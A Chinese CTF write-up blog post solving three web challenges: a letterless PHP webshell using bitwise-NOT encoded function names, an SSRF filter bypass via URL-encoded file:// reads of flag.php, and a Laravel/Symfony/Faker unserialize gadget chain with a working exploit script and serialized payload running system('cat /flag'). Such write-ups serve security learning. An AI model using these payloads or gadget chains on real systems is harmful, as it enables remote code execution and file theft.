标签:组类型 txt mozilla $_server 引用 tran die 选择 generator
进入题目,发现入下的代码;
看到过滤了很多东西;但是由提示我们也可以知道我们需要读取的文件就是flag.php文件;但是这里有个问题,get_defined_functions()函数它将获取所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过$arr["internal"]来访问系统内置函数, 通过$arr["user"]来访问用户自定义函数 ;这里观察,显然是需要绕过内置的函数了;这里我们因为由过滤的存在,直接考虑无数字和字母的webshell;至于原理,我曾经写过一篇文章,可以翻看我往期的文章;进入提目看看环境,看看php的版本;
确定在7.1之上,那么就可以构造 (phpinfo)();这样的写法,
这里直接执行phpinfo (~%8F%97%8F%96%91%99%90)() 这里感觉是出题人故意设置的一个地方,之前是需要分号来进行分割的,这里出题人将分号禁掉了,这里去掉分号依然可以,但是在其他的环境中就不可。执行效果如下;
然后我们构造(%8F%8D%96%91%8B%A0%8D)((%8C%9C%9E%91%9B%96%8D)((~%D1))) --> print_r(scandir(‘.‘))来进行列目录;发现确实存在flag.php文件;读取一下;
打开环境,发现显然是ssrf的考点;
先来审计源码;
<?php
highlight_file(__FILE__);
$poc=$_SERVER[‘QUERY_STRING‘];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode(‘&‘,$poc);
$a_key=explode(‘=‘,$ids[0])[0];
$b_key=explode(‘=‘,$ids[1])[0];
$a_value=explode(‘=‘,$ids[0])[1];
$b_value=explode(‘=‘,$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die(‘我什么都没有~‘);
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die(‘be it so‘);
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != ‘file‘) {
#add_debug_log($param, ‘post_data‘);
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == ‘file‘) {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == ‘xml‘) {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)‘);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
先来审计代码;出题人已经提示的很清楚了;首先我们看到$poc变量是接收了我们的传参;然后经过一个匹配,如果没有黑名单就放过,否则直接ban掉;
然后$ids是将我们从‘&‘分隔开 $a_key 是取我们前面的那个变量的键名; $b_key 是取后面变量的键名; $a_value 是取前面变量的键值; $b_value 是取后面的键值;接着一个if的判断是的我们必须拥有以上的四种变量,也就是说我们的传参必须为/?s1mple=xxxxxxx&simple=xxxx;接着审计代码;
if($a_key==$b_key)
{
die("trick");
}
一个判断让我们两个键名不可以相同;
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die(‘be it so‘);
}
}
这里如果一旦不满足两个值不相等,那么就会进入下一个判断,就会判断我们传参的个数,显然我们之前分析过,传入的参数是两个,所以这里必死无疑,所以唯一的方法就是让我们的两个键值相等;就可以绕过去;
foreach($_GET as $key=>$value)
{
$url=$value;
}
接着遍历我们的键名键值。然后将url赋值为我们传入的键值;然后接着就是启动一个会话进行我们的ssrf攻击了;
这里出题人提示的很明确,无关的代码都标出了它的含义。那些代码都是我们不需要关心的,都是服务器的执行流程;这里显然在会话的开始就提示了我们使用file协议;但是我们源码刚开始的一个匹配过滤了file协议,现在就是怎么绕过的问题;
这里需要明白我们浏览器和服务器处理数据的流程,我们传入的参数会经过浏览器的urlencode然后传给服务器,我们服务器收到之后会先进行urldecode,然后拿去正则判断,如果过去之后,则交由后续的程序处理,这里我们进行urlencode编码绕过即可,对我们的字母同样进行urlencode,即%+十六进制;这里编码后的效果就是;?s1mple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&simple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70]-->(http://121.36.64.91/?s1mple=file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php&simple=file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php)
这里看到我们服务器处理完之后得到的结果就是后面的结果,前面过正则的时候,我们的file协议什么的都是经过urlencode的,可以顺利绕过去,然后交由我们服务器的程序进行解析,看到是urlencode会进行再次的解码,然后处理得到结果,从而去读取我们的/var/www/html/flag.php文件; $flag=‘flag{5bc0bc291d322450679866d5ddf0a346}
看题目来说就是对框架的源码审计了;我们下载附件进行审计;
因为之前爆过laravel框架的一些漏洞,包括sql还有反序列化导致的rce等等的一些问题,所以我们着手于这些个已知漏洞为目标来进行寻找,因为出题人也不可能凭空找到一个全新的利用方式,肯定是将原来的代码加以修改,然后让我们审计;代码审计开始;
首先来说,这道题看起来不像是有数据库的题目,一开始我还测试了一下数据库的sql,然后发现直接500多次,后来觉得没有数据库,那就直接rce吧;
代码审计;首先在app/Http/Controllers/TaskController.php中发现一个存在接受点的dome;
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
if(isset($_GET[‘p‘])){
unserialize($_GET[‘p‘]);
}
return "There is an param names p (get)";
}
}
?>
这里发现我们传入p参数就可以实现反序列化,这和我们之前的构想是一样的;既然出题人提供了这个dome,那么就是利用了;
这里继续寻找可以利用的方法,尤其是要关注析构函数和构造函数的存在;还有call函数;在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中我们发现可以析构函数和构造函数,如下:
我在之前也发现了CollectionConfigurator.php中的一个构造和析构,但是那个php中的析构函数中的属性无法被控制,所以就没有选择其作为触发点;
这里看到析构函数最后调用了$parent属性下的addCollection方法,但是在这个php文件中,我们看到构造函数中可以去控制我们的$parent属性;利用点就从这里开始;然后我们全局去搜索一下addCollection方法,这里我找到了45个方法,但是看起来都没什么用处,所以我们想到了调用对象中的不存在的方法从而可以调用call()魔术方法;所以全局搜索call方法;
这里引用 vendor/fzaninotto/faker/src/Faker/Generator.php 下的call方法,因为我们可以追溯Generator.php 的代码,发现format可以调用一个回调函数;
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
所以我们可以利用这个回调函数来进行调用一些函数,这里跟进getFormatter函数;
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf(‘Unknown formatter "%s"‘, $formatter));
}
这里我们可以看到getFormatter的返回值也是可控的;那么这里的逻辑也就十分的清楚了,我们如果想要调用回调函数,就需要访问一个对象中没有的属性去触发call方法,然后进入format方法,format方法中定义了回调的函数,深入getformatter方法,这里让其返回值$this->formatters
为一个数组,键值为system;然后键名就为addCollection,这里$formatter追溯一下就是$method;然而由于call的特性,导致我们触发call的时候call的$method默认就是addCollection,所以这里就可以直接调用了system方法
至于参数,因为当初调用了call方法,由于call方法的特性,这里参数默认为$this->route即$attributes;所以对于参数而言,我们只需要输入我们的命令即可。思路清晰开始构造exp;
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
public $parent; //这里我曾经在网鼎的wp中写过,php版本为7.1之上的,对于属性类型并不敏感,所以为了方便直接public;可以看我网鼎wp;
public $route;
public function __construct($parent,$route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}
namespace Faker{ //进入Generator.php中做文章
class Generator{
public $providers = array(); //截取原来的部分代码,出题人早已经计划好了,已经定义了数组类型;
public $formatters = array();
public function __construct(){
$this->formatters = array("addCollection"=>"system"); //赋值为此以为最后需要通过析构函数addCollection这个来指向键值调用system;所以直接让addCollection为键名;
}
}
}
namespace{
$s1mple = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");//利用构造函数赋值;
echo serialize($s1mple);
}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:6:"parent";O:15:"Faker\Generator":2:{s:9:"providers";a:0:{}s:10:"formatters";a:1:{s:13:"addCollection";s:6:"system";}}s:5:"route";s:9:"cat /flag";}
flag{90569859b0164266ef04461bbc1d5cc5}
其实有的ctf题目并不难,而是需要静下心来全力以赴,而我在赛场上还是有点小慌,还得锻炼~~
标签:组类型 txt mozilla $_server 引用 tran die 选择 generator
原文地址:https://www.cnblogs.com/Wanghaoran-s1mple/p/13194399.html